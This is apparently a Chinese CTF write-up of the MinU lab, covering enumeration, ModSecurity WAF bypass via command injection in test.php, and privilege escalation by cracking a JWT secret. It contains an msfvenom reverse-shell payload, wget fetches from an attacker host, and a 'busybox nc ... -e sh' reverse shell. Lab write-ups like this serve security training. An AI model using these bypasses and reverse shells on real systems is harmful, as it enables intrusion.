MinU靶场渗透笔记
一、信息收集
信息收集非常重要,有了信息才能知道下一步该如何进行,接下来将用nmap来演示信息收集:
2、fscan端口服务枚举
进行fscan端口服务枚举:
.\fscan64.exe -h 192.168.1.102
只开启80web页面!
二、web信息枚举
1、web页面信息枚举
访问web页面:
http://192.168.1.102/
发现这是apache服务页面!
2、dirb目录爆破
用dirb基于字典对web目录进行爆破:
└─$ dirb http://192.168.1.102
发现大批量状态码报403,说明前端是存在安全防护机制的,可能存在WAF或防御脚本
筛选可访问的页面:
dirb http://192.168.1.102/ | grep 200
只有一个index.html返回的是200,访问发现就是刚才的主页,加大爆破力度!
使用dirb扫描的-X参数,提取特定扩展名的目录。此参数接受文件扩展名,然后在目标服务器或计算机上搜索给定的扩展名文件。
扫描下含有.PHP参数文件目录:
dirb http://192.168.1.102/ -X .php
-X .php 枚举.PHP文件
发下存在test.php!
访问test.php目录地址:
http://192.168.1.102/test.php
提示:Read last visitor data 读取上次访问者数据
提示存在信息泄露!
点击提示后弹出:
回显地址:一般情况下?file= 存在文件包含、sql注入。
尝试对URL进行构造:
http://192.168.1.102/test.php?file=../../../../../etc/passwd
报错403,结合前面爆破是大部分回显均为403,猜测是存在WAF,尝试命令注入。
三、绕过waf(多方法)
1、识别waf
WAFw00f是Python脚本,用于检测网络服务器是否处于网络应用的防火墙(WAF ,Web application firewall)保护状态。
WAFW00F进行探测 :
wafw00f http://192.168.1.102/test.php
回显存在WAF,但报错了,在老版本的wafw00f回显Web 应用程序防火墙:modsecurity (OWASP CRS)
ModSecurity waf!
ModSecurity是一个入侵探测与阻止的引擎,它主要是用于Web应用程序所以也可以叫做Web应用程序防火墙。它可以作为Apache Web服务器的一个模块或单独的应用程序来运行。ModSecurity的目的是为增强Web应用程序的安全性和保护Web应用程序避免遭受来自已知与未知的攻击。
绕过CRS:规则机制
1、可以安装在服务器
2、可以安装某个站目录底下
3、可以安装在PHP文件内
2、Fuzz模糊测试
Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击。比如:参数、认证、表单、目录/文件、头部等等,这款工具在kali里面自带。
Wfuzz工具模糊测试:
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt http://192.168.1.102/test.php?file=FUZZ
file 文件
-c 输出颜色
-z payload
回显信息太多,过滤掉报错重新测试下:
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 404,403 http://192.168.1.102/test.php?file=FUZZ
--hc 过滤隐藏响应码为404,403的返回结果。
剩下的就都是响应值为200的,此时就可以使用命令测试绕过waf。
3、绕过waf(|)
测试dir可绕过机制:
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 403 http://192.168.1.102/test.php?file=FUZZ | grep dir
回显“|”可绕过
用“|”测试执行命令:
看到 | 绕过waf,可以远程代码执行命令dir
4、绕过waf($u)
$绕过WAF,这种方式只是针对ModSecurity waf, 使用u来绕过waf ,u 然后执行命令, $u被视为空字符串。
首先我们使用msf生成一个shell:
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.1.53 lport=4455 -f elf > shell
cat shell
用python开启一个http服务:
python -m http.server 80
网页上传shell,并赋权
上传shell木马:
http://192.168.1.103/test.php?file=test; $u wget http://192.168.1.53/shell -o /tmp/shell
查看是否上传成功:
http://192.168.1.103/test.php?file=test; $u ls -la /tmp/shell
权限低,赋权:
http://192.168.1.103/test.php?file=test; $u chmod 777 /tmp/shell
上传并赋权成功!
用nc监听4455端口,执行shell反弹
nc -vlp 4455
http://192.168.1.103/test.php?file=test; $u /tmp/shell
未反弹成功!发现上传的shell字符大于本地生成的,待解决!
5、绕过waf(;)
分号“;” 隔离绕过waf!
以文件形式去读的时候,加;就可以绕过
http://192.168.1.103/test.php?file=last.html;id
http://192.168.1.102/test.php?file=--version
看到了过滤器信息是用cat过滤的, 可以一个文件开头读取信息,然后再绕过,可以用任意文件名 ;可绕过
但是目前的两种绕过方式都只能执行部分命令,如果命令后面需要跟参数,就不行了。
测试下使用二进制绕过,可以在不受限制和不同的二进制文件中执行命令来绕过本地安全限制!
二进制文件的列表:
https://gtfobins.github.io/
最终发现:https://gtfobins.github.io/gtfobins/busybox/可以绕过waf
所以根据二进制绕过waf,就可以反弹shell到本地上。
利用二进制busybox反弹shell:
http://192.168.1.103/test.php?file=test;busybox nc 192.168.1.53 4455 -e sh
搜索发现没有安装python,但是安装了python3,通过python3获取稳定的shell,前提是bash模式
which python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + z
stty raw -echo
fg
或者添加参数 -i 就可以直接获得正常稳定shell!
http://192.168.1.103/test.php?file=dayu;busybox nc 192.168.1.53 6666 -e sh -i
四、内部信息收集
1、linpeas.sh信息枚举
本地用python开启http服务:
python -m http.server 80
上传linpeas.sh脚本并赋权执行:
wget http://192.168.1.53/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
发现版本信息:
Linux version 4.13.0-39-generic
Sudo version 1.8.20p2
内核漏洞可用45010.c ,但只能root权限使用gcc
发现新用户:
uid=1000(bob) gid=1000(bob) groups=1000(bob),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare)
有sudo权限,可以找到bob的密码,用sudo 提权,这里可以通过找寻密码或者是 制作密钥来直接ssh登录。但是这里发现不能创建文件。
2、隐藏文件下载
在 /home/bob/ 目录下找到一个隐藏文件:
来到目录下查看文件信息:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg
怀疑是个密匙!
通过python3,将.pw文件下载:
靶机开启http服务:
python3 -m http.server 8089
本地下载并更名
wget http://192.168.1.103:8089/._pw_
mv ._pw_ pw #.开头的文件是隐藏文件,目录里看不到,所以改下名字
五、提权
1、JWT令牌分析
pw文件怀疑是一个密码base64解码看看
1)base64解码:
2)JWT
将pw内容丢入谷歌,发现这是JWT(JSON Web 令牌),和第一部分验证的JWT一致。
JWT是一个开放的行业标准(RFC 7519),它定义了一种简介的、自包含的协议格式,用于在通信双方传递json对象,传递的信息经过数字签名可以被验证和信任。JWT可以使用HMAC算法或使用RSA的公 钥/私钥对来签名,防止被篡改。
也可以在线查看密匙信息:
JWT 具有这种格式的三个部分:
标头(Header)、有效载荷(Payload)和签名(Signature)。在传输的时候,会将JWT的3部分分别进行Base64编码后用.进行连接形成最终传输的字符串
header在 JSON 中指定算法和类型。
payload指定令牌的声明,也在 JSON 中。
signature是编码头和有效载荷的数字签名。
接下来我们要去对其密匙进行解密,解密方法有:
可以使用解密工具c-jwt-cracker.git和wt-cracker
2、c-jwt-cracker工具解密
使用解密工具开始破解
下载c-jwt-cracker.git并编译为gcc利用:
proxychains git clone https://github.com/brendan-rius/c-jwt-cracker.git
或者用:https://github.com/lmammino/jwt-cracker
cd jwt-cracker
apt-get install libssl-dev
make #编译gcc
执行jwtcrack解密:
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg
密文是 mlnV1
登录root:
su root
mlnV1
获得root权限用户!
获得flag:root目录下存在flag.txt
cd root
cat flag.txt
flag{c89031ac1b40954bb9a0589adcb6d174}
六、总结
通过以上的学习,学习到了非常多的技巧,例如 nmap端口信息枚举、Web页面信息枚举、dirb目录爆破、多方法绕过WAF、linpeas.sh信息枚举、JWT令牌分析、c-jwt-cracker工具解密等。
后来,错过也成了人间常态。